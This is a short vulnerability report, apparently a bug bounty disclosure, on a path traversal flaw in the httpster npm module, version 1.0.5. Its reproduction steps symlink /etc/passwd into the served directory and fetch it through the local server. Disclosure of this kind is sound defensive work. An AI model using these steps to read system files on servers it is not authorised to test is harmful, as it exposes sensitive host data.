Path Traversal in simbco/httpster


Reported on

Aug 14th 2020


I would like to report a Path Traversal vulnerability in the httpster module. It allows an attacker to read system files via a Path Traversal vulnerability. With a symbolically linked file in the working directory, it is possible to read arbitrary files outside of the web root directory.


Module name: httpster Version: 1.0.5 (latest)

Module Description

Simple http server for quick loading of content.


  1. Install the httpster module $ npm -g install httpster

  2. Make a directory $ mkdir test

  3. Go to 'test' directory $ cd test

  4. Create a symlink file ln -s /etc/passwd 'filename'

  5. Run httpster module $ httpster

  6. Request the file within browser http://localhost:3333/'filename'


This could have enabled an attacker to view system files and leverage attacks like remote code execution.

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